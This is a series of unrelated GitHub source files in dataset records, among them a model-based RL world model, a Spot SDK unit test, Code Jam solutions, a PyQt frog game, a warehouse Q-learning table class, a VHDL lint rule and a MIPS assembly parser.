return(df_credito_financiero_rename.to_csv(\"creditos_activos.csv\"))\n\n","repo_name":"malsblack/Portafolio_datos","sub_path":"Scripts_json_to_parquet/creditosactivos.py","file_name":"creditosactivos.py","file_ext":"py","file_size_in_byte":6168,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17392748037","text":"\"\"\"\nModels for model-based RL\n\"\"\"\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchlib.common import enable_cuda, move_tensor_to_gpu, convert_numpy_to_tensor, FloatTensor\nfrom torchlib.utils.layers import freeze, unfreeze\nfrom torchlib.utils.math import normalize, unnormalize\nfrom tqdm import tqdm\n\nfrom .utils import EpisodicDataset as Dataset\n\n\nclass WorldModel(object):\n def __init__(self, dynamics_model: nn.Module, optimizer):\n self.dynamics_model = dynamics_model\n self.optimizer = optimizer\n\n if enable_cuda:\n self.dynamics_model.cuda()\n\n def train(self):\n unfreeze(self.dynamics_model)\n self.dynamics_model.train()\n\n def eval(self):\n freeze(self.dynamics_model)\n self.dynamics_model.eval()\n\n def set_statistics(self, dataset):\n self.state_mean = convert_numpy_to_tensor(dataset.state_mean).unsqueeze(dim=0)\n self.state_std = convert_numpy_to_tensor(dataset.state_std).unsqueeze(dim=0)\n if self.dynamics_model.discrete:\n self.action_mean = None\n self.action_std = None\n else:\n self.action_mean = convert_numpy_to_tensor(dataset.action_mean).unsqueeze(dim=0)\n self.action_std = convert_numpy_to_tensor(dataset.action_std).unsqueeze(dim=0)\n self.delta_state_mean = convert_numpy_to_tensor(dataset.delta_state_mean).unsqueeze(dim=0)\n self.delta_state_std = convert_numpy_to_tensor(dataset.delta_state_std).unsqueeze(dim=0)\n\n def fit_dynamic_model(self, dataset: Dataset, epoch=10, batch_size=128, verbose=False):\n raise NotImplementedError\n\n def predict_next_state(self, state, action):\n states = np.expand_dims(state, axis=0)\n actions = np.expand_dims(action, axis=0)\n states = convert_numpy_to_tensor(states)\n actions = convert_numpy_to_tensor(actions)\n with torch.no_grad():\n next_state = self.predict_next_states(states, actions).cpu().numpy()[0]\n return next_state\n\n def predict_next_states(self, states, actions):\n raise NotImplementedError\n\n @property\n def state_dict(self):\n raise NotImplementedError\n\n def load_state_dict(self, states):\n raise NotImplementedError\n\n\nclass DeterministicWorldModel(WorldModel):\n \"\"\"\n deterministic model following equation s_{t+1} = s_{t} + f(s_{t}, a_{t})\n \"\"\"\n\n def __init__(self, dynamics_model: nn.Module, optimizer):\n super(DeterministicWorldModel, self).__init__(dynamics_model=dynamics_model, optimizer=optimizer)\n self.state_mean = None\n self.state_std = None\n self.action_mean = None\n self.action_std = None\n self.delta_state_mean = None\n self.delta_state_std = None\n\n def predict_normalized_delta_next_state(self, states, actions):\n states_normalized = normalize(states, self.state_mean, self.state_std)\n if not self.dynamics_model.discrete:\n actions = normalize(actions, self.action_mean, self.action_std)\n predicted_delta_state_normalized = self.dynamics_model.forward(states_normalized, actions)\n return predicted_delta_state_normalized\n\n def fit_dynamic_model(self, dataset: Dataset, epoch=10, batch_size=128, verbose=False):\n t = range(epoch)\n if verbose:\n t = tqdm(t)\n\n train_data_loader, val_data_loader = dataset.random_iterator(batch_size=batch_size)\n\n for i in t:\n losses = []\n for states, actions, next_states, _, _ in train_data_loader:\n # convert to tensor\n states = move_tensor_to_gpu(states)\n actions = move_tensor_to_gpu(actions)\n next_states = move_tensor_to_gpu(next_states)\n delta_states = next_states - states\n # calculate loss\n self.optimizer.zero_grad()\n predicted_delta_state_normalized = self.predict_normalized_delta_next_state(states, actions)\n delta_states_normalized = normalize(delta_states, self.delta_state_mean, self.delta_state_std)\n loss = F.mse_loss(predicted_delta_state_normalized, delta_states_normalized)\n loss.backward()\n self.optimizer.step()\n losses.append(loss.item())\n\n self.eval()\n val_losses = []\n with torch.no_grad():\n for states, actions, next_states, _, _ in val_data_loader:\n # convert to tensor\n states = move_tensor_to_gpu(states)\n actions = move_tensor_to_gpu(actions)\n next_states = move_tensor_to_gpu(next_states)\n delta_states = next_states - states\n predicted_delta_state_normalized = self.predict_normalized_delta_next_state(states, actions)\n delta_states_normalized = normalize(delta_states, self.delta_state_mean, self.delta_state_std)\n loss = F.mse_loss(predicted_delta_state_normalized, delta_states_normalized)\n val_losses.append(loss.item())\n self.train()\n\n if verbose:\n t.set_description('Epoch {}/{} - Avg model train loss: {:.4f} - Avg model val loss: {:.4f}'.format(\n i + 1, epoch, np.mean(losses), np.mean(val_losses)))\n\n def predict_next_states(self, states, actions):\n assert self.state_mean is not None, 'Please set statistics before training for inference.'\n states_normalized = normalize(states, self.state_mean, self.state_std)\n\n if not self.dynamics_model.discrete:\n actions = normalize(actions, self.action_mean, self.action_std)\n\n predicted_delta_state_normalized = self.dynamics_model.forward(states_normalized, actions)\n predicted_delta_state = unnormalize(predicted_delta_state_normalized, self.delta_state_mean,\n self.delta_state_std)\n return states + predicted_delta_state\n\n def state_dict(self):\n states = {\n 'dynamic_model': self.dynamics_model.state_dict(),\n 'state_mean': self.state_mean,\n 'state_std': self.state_std,\n 'action_mean': self.action_mean,\n 'action_std': self.action_std,\n 'delta_state_mean': self.delta_state_mean,\n 'delta_state_std': self.delta_state_std\n }\n return states\n\n def load_state_dict(self, states):\n self.dynamics_model.load_state_dict(states['dynamic_model'])\n self.state_mean = states['state_mean']\n self.state_std = states['state_std']\n self.action_mean = states['action_mean']\n self.action_std = states['action_std']\n self.delta_state_mean = states['delta_state_mean']\n self.delta_state_std = states['delta_state_std']\n\n\nclass StochasticVariationalWorldModel(WorldModel):\n \"\"\"\n Stochastic variational inference model. Using s_{t+1} to reconstruct s_{t+1} with a_{t} and\n s_{t} as conditional input. To use the model, output s_{t+1} with s_{t} and a_{t} and sampled\n latent variable z_{t}.\n We optimize three losses here:\n 1) Prediction loss\n 2) KL-divergence loss\n \"\"\"\n\n def __init__(self, dynamics_model: nn.Module, inference_network: nn.Module,\n optimizer, code_size, kl_loss_weight=1e-3, ):\n \"\"\"\n\n Args:\n dynamics_model: conditional generator model\n inference_network: conditional encoder model. Output a distribution\n optimizer: optimizer\n code_size:\n \"\"\"\n super(StochasticVariationalWorldModel, self).__init__(dynamics_model=dynamics_model,\n optimizer=optimizer)\n self.inference_network = inference_network\n self.code_size = code_size\n\n if enable_cuda:\n self.inference_network.cuda()\n\n def train(self):\n super(StochasticVariationalWorldModel, self).train()\n self.inference_network.train()\n\n def eval(self):\n super(StochasticVariationalWorldModel, self).eval()\n self.inference_network.eval()\n\n def fit_dynamic_model(self, dataset: Dataset, epoch=10, batch_size=128, verbose=False):\n t = range(epoch)\n if verbose:\n t = tqdm(t)\n\n train_data_loader, val_data_loader = dataset.random_iterator(batch_size=batch_size)\n\n for i in t:\n losses = []\n for states, actions, next_states, _, _ in train_data_loader:\n # convert to tensor\n states = move_tensor_to_gpu(states)\n actions = move_tensor_to_gpu(actions)\n next_states = move_tensor_to_gpu(next_states)\n\n latent_distribution = self.inference_network.forward(next_states)\n\n z = latent_distribution.sample()\n\n def predict_next_states(self, states, actions, z=None):\n assert self.state_mean is not None, 'Please set statistics before training for inference.'\n states = normalize(states, self.state_mean, self.state_std)\n\n if not self.dynamics_model.discrete:\n actions = normalize(actions, self.action_mean, self.action_std)\n\n if z is None:\n z = self._sample_latent_code(states.shape[0])\n\n predicted_states_normalized = self.dynamics_model.forward(states, actions, z)\n predicted_states = unnormalize(predicted_states_normalized, self.state_mean, self.state_std)\n return predicted_states\n\n def state_dict(self):\n pass\n\n def load_state_dict(self, states):\n pass\n\n ### VAE helper methods\n\n def _sample_latent_code(self, batch_size):\n z = torch.randn(batch_size, self.code_size).type(FloatTensor)\n return z\n\n def _reparameterize(self, mu, logvar):\n std = torch.exp(0.5 * logvar)\n eps = torch.randn_like(std)\n return eps.mul(std).add_(mu)\n","repo_name":"vermouth1992/mbrl-hvac","sub_path":"torchlib/deep_rl/algorithm/model_based/world_model.py","file_name":"world_model.py","file_ext":"py","file_size_in_byte":9977,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"61"} +{"seq_id":"29120424494","text":"#as a list:\r\nl=[3,4]\r\nl+=[5,6]\r\nprint(l)\r\n\r\n#as a stack:\r\n#top input\r\n#lifo\r\nl.append(10)\r\nprint(l)\r\nl.pop()#pops the ele that is inserted at last \r\n\r\n#as a queue\r\n#fifo\r\nl.insert(0,5)\r\nl.pop()\r\n","repo_name":"SHANMUKH-CH/Python-Programs","sub_path":"use list as a stack or array or queue.py","file_name":"use list as a stack or array or queue.py","file_ext":"py","file_size_in_byte":195,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13035682343","text":"import unittest\n\nimport pkg_resources\n\nimport bosdyn.client\nimport bosdyn.client.common\nimport bosdyn.client.processors\n\n\nclass ServiceClientMock(bosdyn.client.common.BaseClient):\n default_service_name = 'mock'\n service_type = 'bosdyn.api.Mock'\n\n def __init__(self):\n super(ServiceClientMock, self).__init__(lambda channel: None)\n\n\nclass ClientTest(unittest.TestCase):\n\n def test_constructors(self):\n client = bosdyn.client.common.BaseClient(lambda channel: None)\n self.assertEqual(len(client.request_processors), 0)\n self.assertEqual(len(client.response_processors), 0)\n\n\nclass SdkTest(unittest.TestCase):\n CA_CERT = \"\"\"-----BEGIN CERTIFICATE-----\nLovely Spam! Wonderful Spam!\nLovely Spam! Wonderful Spam\nSpa-a-a-a-a-a-a-am\nSpa-a-a-a-a-a-a-am\nSpa-a-a-a-a-a-a-am\nSpa-a-a-a-a-a-a-am\nLovely Spam! (Lovely Spam!)\nLovely Spam! (Lovely Spam!)\nLovely Spam!\nSpam, Spam, Spam, Spam!\n-----END CERTIFICATE-----\"\"\".encode()\n\n def _create_sdk(self, client_name='sdk-test', app_token='ABC123', cert=None):\n sdk = bosdyn.client.Sdk()\n sdk.client_name = client_name\n sdk.app_token = app_token\n sdk.cert = cert or SdkTest.CA_CERT\n return sdk\n\n def _create_secure_channel(self, robot, port=54321, authority='null.spot.robot'):\n return robot.create_secure_channel(port, authority)\n\n def _create_robot(self, sdk, nickname='my-robot-name', address='no-address'):\n robot = sdk.create_robot(address, nickname)\n return robot\n\n def test_robot_creation(self):\n sdk = self._create_sdk()\n\n # Takes the place of a processor.\n request_p = object()\n response_p = object()\n sdk.request_processors.append(request_p)\n sdk.response_processors.append(response_p)\n\n kAddress = 'foo.bar'\n robot = self._create_robot(sdk, address=kAddress)\n self.assertIn(kAddress, sdk.robots)\n self.assertIn(request_p, robot.request_processors)\n self.assertIn(response_p, robot.response_processors)\n self.assertNotIn(request_p, robot.response_processors)\n self.assertNotIn(response_p, robot.request_processors)\n self.assertEqual(sdk.robots[kAddress], sdk.create_robot(kAddress))\n\n def test_client_name_propagation(self):\n sdk = self._create_sdk()\n sdk.request_processors.append(\n bosdyn.client.processors.AddRequestHeader(lambda: sdk.client_name))\n robot = self._create_robot(sdk, 'test-robot')\n sdk.client_name = 'changed-my-mind'\n\n found_header_processor = False\n for proc in robot.request_processors:\n if isinstance(proc, bosdyn.client.processors.AddRequestHeader):\n self.assertEqual(sdk.client_name, proc.get_client_name())\n found_header_processor = True\n self.assertTrue(found_header_processor)\n\n def test_client_creation(self):\n service_name = ServiceClientMock.default_service_name\n service_type = ServiceClientMock.default_service_name\n sdk = self._create_sdk()\n robot = self._create_robot(sdk, 'test-robot')\n # Hacking in a cached version of \"should_send_app_token\" to avoid need to prop\n # up a RobotId client and service.\n robot._should_send_app_token_on_each_request = lambda: True\n # This should raise an exception -- we haven't installed a factory for the service.\n with self.assertRaises(bosdyn.client.robot.UnregisteredServiceNameError):\n client = robot.ensure_client(service_name)\n # Register the ServiceClientMock constructor as the function to call for the service.\n robot.service_type_by_name[service_name] = service_type\n robot.service_client_factories_by_type[service_type] = ServiceClientMock\n client = robot.ensure_client(service_name,\n channel=robot.ensure_secure_channel('the-knights-of-ni'))\n\n def test_load_robot_cert(self):\n sdk = bosdyn.client.Sdk()\n sdk.load_robot_cert()\n self.assertEqual(\n sdk.cert,\n pkg_resources.resource_stream('bosdyn.client.resources', 'robot.pem').read())\n with self.assertRaises(IOError):\n sdk.load_robot_cert('this-path-does-not-exist')\n\n def test_load_app_token(self):\n sdk = bosdyn.client.Sdk()\n\n # App tokens are deprecated, test that not loading a token does not throw an exception\n sdk.load_app_token(None)\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"boston-dynamics/spot-sdk","sub_path":"python/bosdyn-client/tests/test_sdk.py","file_name":"test_sdk.py","file_ext":"py","file_size_in_byte":4508,"program_lang":"python","lang":"en","doc_type":"code","stars":2148,"dataset":"github-code","pt":"61"} +{"seq_id":"23585319091","text":"from sys import stdin, stdout\nfrom math import pi\n\nT = int(stdin.readline().strip())\n\nfor case_num in range(1, T+1):\n N,K = map(int, stdin.readline().strip().split())\n pancakes = [tuple(map(int, stdin.readline().strip().split())) for i in range(N)]\n\n pancakes.sort(key=lambda x: x[0]*x[1], reverse=True)\n big = pancakes[:K]\n # big.sort(key=lambda x:x[0], reverse=True)\n bigmax = max(big, key=lambda x:x[0])\n wide = []\n for r,h in pancakes[K:]:\n if r > bigmax[0]:\n wide.append( (r,h) )\n\n subtotal = 0\n for r,h in big[:-1]:\n subtotal += r*h\n\n total = 2*pi*(subtotal + big[-1][0]*big[-1][1]) + pi*bigmax[0]**2\n\n for r,h in wide:\n total = max(2*pi*(subtotal + r*h) + pi*r**2, total)\n\n stdout.write(\"Case #{:d}: {:f}\\n\".format(case_num, total))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_209/150.py","file_name":"150.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23396260511","text":"#!/usr/bin/env python\n\ndef palindromes(x):\n length = len(x)\n s = 1\n for i in range(0,length):\n if(x[i]!=x[-i-1]):\n s = 0\n break\n return s\n\ndef square(x):\n if round(x) == x:\n return 1\n return 0\n\ndef get_pal(x,y):\n total = 0\n while x<=y:\n if palindromes(str(x)):\n tmp = x**0.5\n if square(tmp):\n if palindromes(str(int(tmp))):\n total = total + 1\n x = x + 1\n return total\n\nfile = open(\"C-small-attempt3.in\",'r')\ntime = int(file.readline())\nwhile time>0:\n t = time\n while time>0 :\n [x,y] = file.readline().split(\" \")\n print(\"Case #{}: {}\".format(t - time + 1, get_pal(int(x),int(y))))\n time = time - 1\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_118/2954.py","file_name":"2954.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"498195037","text":"import sys\nfrom PyQt5.QtWidgets import QApplication\n\nfrom backend.logica_inicio import LogicaInicio\nfrom backend.logica_postnivel import LogicaPostNivel\nfrom backend.logica_ranking import LogicaRanking\nfrom backend.logica_juego import LogicaJuego\nfrom backend.logica_juego import Rana\nfrom frontend.ventana_inicio import VentanaInicio\nfrom frontend.ventana_postnivel import VentanaPostNivel\nfrom frontend.ventana_ranking import VentanaRanking\nfrom frontend.ventana_juego import VentanaJuego\n\nimport parametros as p\n\nif __name__ == \"__main__\":\n def hook(type, value, traceback):\n print(type)\n print(traceback)\n sys.__excepthook__ = hook\n app = QApplication([])\n\n #Instanciacion de ventanas\n ventana_inicio = VentanaInicio()\n ventana_ranking = VentanaRanking()\n ventana_juego = VentanaJuego()\n ventana_postnivel = VentanaPostNivel()\n\n #Instanciacion de la lógica\n logica_inicio = LogicaInicio()\n logica_ranking = LogicaRanking()\n rana = Rana()\n logica_juego = LogicaJuego(\n rana, \n p.VIDAS_INICIO, \n p.DURACION_RONDA_INICIAL, \n p.CANTIDAD_MONEDAS, \n p.VELOCIDAD_TRONCOS, \n p.VELOCIDAD_AUTOS\n )\n logica_postnivel = LogicaPostNivel()\n\n #***Conexion de señales***\n\n #Ventana de Inicio\n #ABRE VENTANA DE RANKING DESDE VENTANA DE INICIO\n ventana_inicio.senal_enviar_ranking.connect(\n logica_inicio.abrir_ranking\n )\n logica_inicio.senal_abrir_ranking.connect(\n ventana_ranking.mostrar\n )\n #OBTENER LISTA DE MEJORES PUNTAJES (Al apretar Ver Ranking)\n logica_inicio.senal_abrir_ranking.connect(\n logica_ranking.mandar_puntajes\n )\n logica_ranking.senal_lista_puntajes.connect(\n ventana_ranking.lista_mejores_puntajes\n )\n\n #Ventana de Ranking\n #ABRE VENTANA DE INICIO DESDE VENTANA DE RANKING\n ventana_ranking.senal_enviar_inicio.connect(\n logica_ranking.abrir_inicio\n )\n logica_ranking.senal_abrir_inicio.connect(\n ventana_inicio.mostrar\n )\n\n #Ventana de Juego\n #ABRE VENTANA DE JUEGO DESDE VENTANA DE INICIO\n ventana_inicio.senal_enviar_login.connect(\n logica_inicio.abrir_juego\n )\n logica_inicio.senal_abrir_juego.connect(\n ventana_juego.mostrar\n )\n #INICIA EL JUEGO\n logica_inicio.senal_abrir_juego.connect(\n logica_juego.iniciar_juego\n )\n #INICIAR AUTOS\n logica_juego.senal_iniciar_autos.connect(\n ventana_juego.iniciar_autos\n )\n logica_juego.senal_mover_autos.connect(\n ventana_juego.animar_autos\n )\n #INICIAR TRONCOS\n logica_juego.senal_iniciar_troncos.connect(\n ventana_juego.iniciar_troncos\n )\n logica_juego.senal_mover_troncos.connect(\n ventana_juego.animar_troncos \n )\n #INICIAR RANA\n logica_juego.senal_iniciar_rana.connect(\n ventana_juego.iniciar_rana\n )\n #MOVIMIENTO RANA (se mueve el hitbox de la rana en el backend)\n ventana_juego.senal_enviar_posicion_rana.connect(\n rana.nueva_posicion_rana\n )\n #SENAL PARA PAUSAR EL JUEGO\n ventana_juego.senal_enviar_pausar_juego.connect(\n logica_juego.detener_juego\n )\n #SENAL PARA DES-PAUSAR EL JUEGO\n ventana_juego.senal_enviar_despausar_juego.connect(\n logica_juego.reanudar_juego\n )\n #REINICIAR RANA SI CHOCA CON ALGO\n logica_juego.senal_reiniciar_rana.connect(\n ventana_juego.reiniciar_posicion\n )\n #RANA ENCIMA DE UN TRONCO\n logica_juego.senal_rana_en_tronco.connect(\n ventana_juego.rana_en_tronco\n )\n #SEÑAL PARA MOSTRAR UN OBJETO EN VENTANA DE JUEGO\n logica_juego.senal_mostrar_objeto.connect(\n ventana_juego.mostrar_objeto\n )\n #SEÑAL PARA ELIMINAR UN OBJETO EN VENTANA DE JUEGO\n logica_juego.senal_eliminar_objeto.connect(\n ventana_juego.eliminar_objeto\n )\n #SENAL PARA ACTUALIZAR DATOS DEL JUEGO EN VENTANA DE JUEGO\n logica_juego.senal_actualizar_datos.connect(\n ventana_juego.actualizar_datos\n )\n #SENAL PARA CERRAR LA VENTANA DE JUEGO CUANDO SE GANA O PIERDE\n logica_juego.senal_cerrar_juego.connect(\n ventana_juego.esconder\n )\n\n #Ventana de PostNivel\n #SENAL PARA IR A VENTANA POSTNIVEL LUEGO DE PERDER\n logica_juego.senal_ir_postnivel.connect(\n ventana_postnivel.actualizar_atributos\n )\n #SENAL DE PARA ACTUALIZAR LOS VALORES DEL PROXIMO NIVEL\n ventana_postnivel.senal_actualizar_valores_juego.connect(\n logica_postnivel.actualizar_valores_nivel\n )\n logica_postnivel.senal_actualizar_valores_juego.connect(\n logica_juego.valores_nuevo_nivel\n )\n #SENAL PARA ABRIR EL JUEGO DESDE LA VENTANA DE POSTNIVEL\n ventana_postnivel.senal_abrir_juego.connect(\n ventana_juego.mostrar\n )\n ventana_postnivel.senal_abrir_juego.connect(\n logica_juego.reanudar_juego\n )\n #SENAL PARA ENVIAR DATA DE LOS JUGADORES AL RANKING\n ventana_postnivel.senal_data_ranking.connect(\n logica_postnivel.recibir_data_ranking\n )\n logica_postnivel.senal_data_ranking.connect(\n logica_ranking.actualizar_data_ranking\n )\n\n ventana_inicio.mostrar()\n\n sys.exit(app.exec_())","repo_name":"nicoabarca/progra_avanzada","sub_path":"Tareas/T2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5171,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36424756279","text":"import numpy as np\nimport pandas as pd\n\nfrom actions import Actions\nfrom util import nCr\nfrom warehouse_parameters import N_ROWS, N_COLS, N_ROBOTS, N_STACKS, N_ITEMS, LEARNING_RATE, DISCOUNT_FACTOR\n\nclass Tables:\n \"\"\"\n The tables used for training.\n \n The qvals table is mandatory for training but the visits and same_locs \n tables are not. The visits table allows us to see which values are not \n being visited and helps us identify problems in our code. The same_locs \n table speeds up training by updating the q-values of all actions that do \n not change the robot/stack locations each time an action does not change \n the robot/stack locations.\n \n Attributes\n ----------\n qvals : NumPy Array\n An array containing estimates of the q-value for each state and \n action. The array has 1 row for each state and 1 column for each \n action.\n visits : NumPy Array\n An array containing the number of times each action has been taken in\n each state. The array has 1 row for each state and 1 column for each \n action.\n same_locs : NumPy Array\n An array that indicates which actions do not change the locations of\n the robots/stacks for each state. A 1 indicates the location stays the \n same after taking an action in a state. A 0 indicates the location \n changes after taking an action in a state or that the action has not\n been tried in that state yet. The array has 1 row for each state and 1 \n column for each action.\n performance : Pandas DataFrame\n A dataframe indicating the performance of the greedy policy after \n training for some number of iterations.\n \"\"\"\n \n def __init__(self):\n \"\"\"\n Initializes the tables.\n \n The q-values are initialized to a value of 10 since 10 seemed like an\n average q-value after the first 100000 iterations of training.\n \n The visits are initialized to zero since no actions have been taken \n yet.\n\n The same_locs table is initalized to all 0s except for the first \n column which is all 1s. The first column corresponds to the actions \n ['O', 'O', ..., 'O'] which will never change the locations of \n robots/stacks.\n \n Many times these tables are overwritten by csvs that have been saved\n after many iterations of training.\n \n Returns\n -------\n None.\n\n \"\"\"\n num_states = (nCr(N_ROWS*N_COLS+1, N_ROBOTS) \n * nCr(N_ROWS*N_COLS+1, N_STACKS) \n * (N_ITEMS+1)**N_STACKS)\n num_actions = len(Actions().valid_actions)**N_ROBOTS\n \n self.qvals = np.ones((num_states, num_actions)) * (N_ROWS + N_COLS - 1) * N_STACKS\n self.visits = np.zeros((num_states, num_actions))\n self.same_locs = np.concatenate((np.ones((1, num_states)), \n np.zeros((num_actions-1, num_states)))).transpose()\n self.performance = pd.DataFrame([], columns=['iters', 'score'])\n return\n \n def update(self, s1, s2, a, c):\n \"\"\"\n Update the values in the Q-table after a time step.\n\n Parameters\n ----------\n s1 : State\n The previous state.\n s2 : State\n The resulting state after taking an action.\n a : Actions\n The actions taken.\n c : int\n The cost recieved at that time step.\n\n Returns\n -------\n None.\n\n \"\"\"\n # check if locations are the same\n same_locs = True\n for i in range(N_ROBOTS):\n if s1.robot_locs[i] != s2.robot_locs[i]:\n same_locs = False\n break\n if same_locs:\n for j in range(N_STACKS):\n if s1.stack_locs[i] != s2.stack_locs[i]:\n same_locs = False\n break\n \n s1num = s1.enum()\n s2num = s2.enum()\n \n if not same_locs:\n anum = a.enum()\n self.same_locs[s1num][anum] = 0\n old_val = self.qvals[s1num][anum]\n min_val = min(self.qvals[s2num])\n self.qvals[s1num][anum] += LEARNING_RATE*(c + DISCOUNT_FACTOR*(min_val) - old_val)\n self.visits[s1num][anum] += 1\n else:\n # vectorize updates using numpy arrays\n self.same_locs[s1num][a.enum()] = 1\n anums = np.argwhere(self.same_locs[s1num] == 1).flatten()\n old_vals = self.qvals[s1num][anums]\n min_val = min(self.qvals[s2num])\n self.qvals[s1num][anums] += LEARNING_RATE*(c + DISCOUNT_FACTOR*(min_val) - old_vals)\n self.visits[s1num][anums] += 1\n\n return\n \n def read_tables(self):\n \"\"\"\n Overwrite the tables with csvs that contain more accurate q-value \n estimates.\n \n Read the csvs into Pandas DataFrames and convert these to NumPy Arrays.\n\n Returns\n -------\n None.\n\n \"\"\"\n name = (str(N_ROWS) + 'x' + str(N_COLS) + 'grid_' \n + str(N_ROBOTS) + 'robots_' + str(N_STACKS) + 'stacks_'\n + str(N_ITEMS) + 'items')\n \n qvals = pd.read_csv('Q-Tables/qtable_' + name + '.csv')\n visits = pd.read_csv('Visits/visits_' + name + '.csv')\n same_locs = pd.read_csv('SameLocs/samelocs_' + name + '.csv')\n self.performance = pd.read_csv('Performance/performance_' + name + '.csv')\n \n self.qvals = np.asarray(qvals)\n self.visits = np.asarray(visits)\n self.same_locs = np.asarray(same_locs)\n return\n \n def save_tables(self):\n \"\"\"\n Save the tables to use again later on.\n \n Convert the NumPy Arrays to Pandas DataFrames and save these as csvs.\n\n Returns\n -------\n None.\n\n \"\"\"\n name = (str(N_ROWS) + 'x' + str(N_COLS) + 'grid_' \n + str(N_ROBOTS) + 'robots_' + str(N_STACKS) + 'stacks_'\n + str(N_ITEMS) + 'items')\n \n qvals = pd.DataFrame(self.qvals)\n visits = pd.DataFrame(self.visits)\n same_locs = pd.DataFrame(self.same_locs)\n \n qvals.to_csv('Q-Tables/qtable_' + name + '.csv', index=False)\n visits.to_csv('Visits/visits_' + name + '.csv', index=False)\n same_locs.to_csv('SameLocs/samelocs_' + name + '.csv', index=False)\n self.performance.to_csv('Performance/performance_' + name + '.csv', index=False)\n return\n \n def performance_update(self, iters, score):\n if len(self.performance) == 0:\n old_iters = 0\n else:\n old_iters = self.performance.iloc[-1, :]['iters']\n self.performance = self.performance.append({'iters': iters + old_iters,'score': score}, ignore_index=True)\n return\n \n ","repo_name":"MTHE493-Group14/Warehouse-Robot-RL","sub_path":"tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":6898,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"22945787673","text":"\nfrom vsg.rules import previous_line\n\nfrom vsg import token\n\nlTokens = []\nlTokens.append(token.if_statement.if_keyword)\n\n\nclass rule_031(previous_line):\n '''\n This rule checks for blank lines or comments above the **if** keyword.\n In the case of nested **if** statements, the rule will be enfoced on the first **if**.\n\n |configuring_previous_line_rules_link|\n\n The default style is :code:`no_code`.\n\n **Violation**\n\n .. code-block:: vhdl\n\n C <= '1';\n if (A = '1') then\n B <= '0';\n end if;\n\n -- This is a comment\n if (A = '1') then\n B <= '0';\n end if;\n\n **Fix**\n\n .. code-block:: vhdl\n\n C <= '1';\n\n if (A = '1') then\n B <= '0';\n end if;\n\n -- This is a comment\n if (A = '1') then\n B <= '0';\n end if;\n '''\n\n def __init__(self):\n previous_line.__init__(self, 'if', '031', lTokens)\n self.lHierarchyLimits = [0]\n self.style = 'no_code'\n","repo_name":"jeremiah-c-leary/vhdl-style-guide","sub_path":"vsg/rules/if_statement/rule_031.py","file_name":"rule_031.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"61"} +{"seq_id":"10442331487","text":"from instrucoes import Instrucao, geraInstrucao\n\nclass Analisador:\n def __init__(self) -> None:\n self.map_de_label = {}\n self.prototipo = None\n\n def setPrototipo(self, prototipo):\n self.prototipo = prototipo\n prototipo.setAnalisador(self)\n\n def analisaArquivo(self, nome_arquivo_asm) -> list:\n construtores_de_instrucao = []\n with open(f'{nome_arquivo_asm}.asm', 'r') as arquivo_asm:\n linhas = arquivo_asm.readlines()\n for zipper in zip(linhas, range(len(linhas))):\n linha, i = zipper\n split_label = linha.split(\": \")\n #Se tem mais de um então o padrão foi encontrado, logo há uma label na posição\n if len(split_label) > 1:\n self.map_de_label[split_label[0].upper().strip()] = i\n construtores_de_instrucao.append(self.analisaLinha(linha.strip(), i))\n return construtores_de_instrucao\n\n def analisaLinha(self, linha: str, i) -> Instrucao:\n linha_sem_label = linha.split(\": \")[-1]\n\n separacao = linha_sem_label.split(\",\")\n try:\n id_instrucao, primeiro_argumento = separacao[0].split(\" \")\n argumentos = [primeiro_argumento] + separacao[1:]\n return geraInstrucao(id_instrucao, argumentos, i, linha, self.prototipo)\n except ValueError:\n #Gera o NOP\n return geraInstrucao(separacao[0], None, i, linha, self.prototipo)\n \n def getEnderecoDeLabel(self, label):\n return self.map_de_label[label]\n","repo_name":"MarcosFRHayman/simuladorMIPS","sub_path":"analisador.py","file_name":"analisador.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24275702151","text":"import os\nimport csv\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nMARKERS = ['o', 's', '^', 'p', 'P'] # Markery dla 5 róznych zestawów danych\nCOLORS = ['b', 'g', 'r', 'k', 'm'] # Kolory dla 5 róznych zestawów danych\nPATH_TO_CSV = \".\" # Ścieżka do folderu z plikami csv\nNAMES = { # Nazwy algorytmów związane z nazwami plików\n 'rsel': '1-Evol-RS',\n 'cel-rs': '1-Coev-RS',\n '2cel-rs': '2-Coev-RS',\n 'cel': '1-Coev',\n '2cel': '2-Coev'\n}\n\n\ndef get_data(path):\n '''Funkcja przyjmuje ścieżkę do plików z rozszerzeniem .csv \n a następnie zwraca słownik z danymi dla osi x, y oraz ostatnią linię pliku'''\n\n with open(path) as csv_file:\n data = {\n 'x': [],\n 'y': [],\n 'last': [],\n }\n\n reader = csv.reader(csv_file)\n counter = 0\n for row in reader:\n counter += 1\n\n if counter == 1:\n continue\n\n data['x'].append(int(row[1])/1000)\n runs = list(map(lambda x: float(x) * 100, row[2:]))\n data['y'].append(sum(runs)/32)\n\n if counter == 201:\n data['last'] = runs\n\n return data\n\n\ndef pokolenie(x):\n '''Funkcja przyjmuje argument \n a następnie zwraca przeskalowaną wartość.'''\n return 0.4 * x\n\n\ndef gry(x):\n '''Funkcja przyjmuje argument \n a następnie zwraca przeskalowaną wartość.'''\n return x\n\n\ndef main():\n # 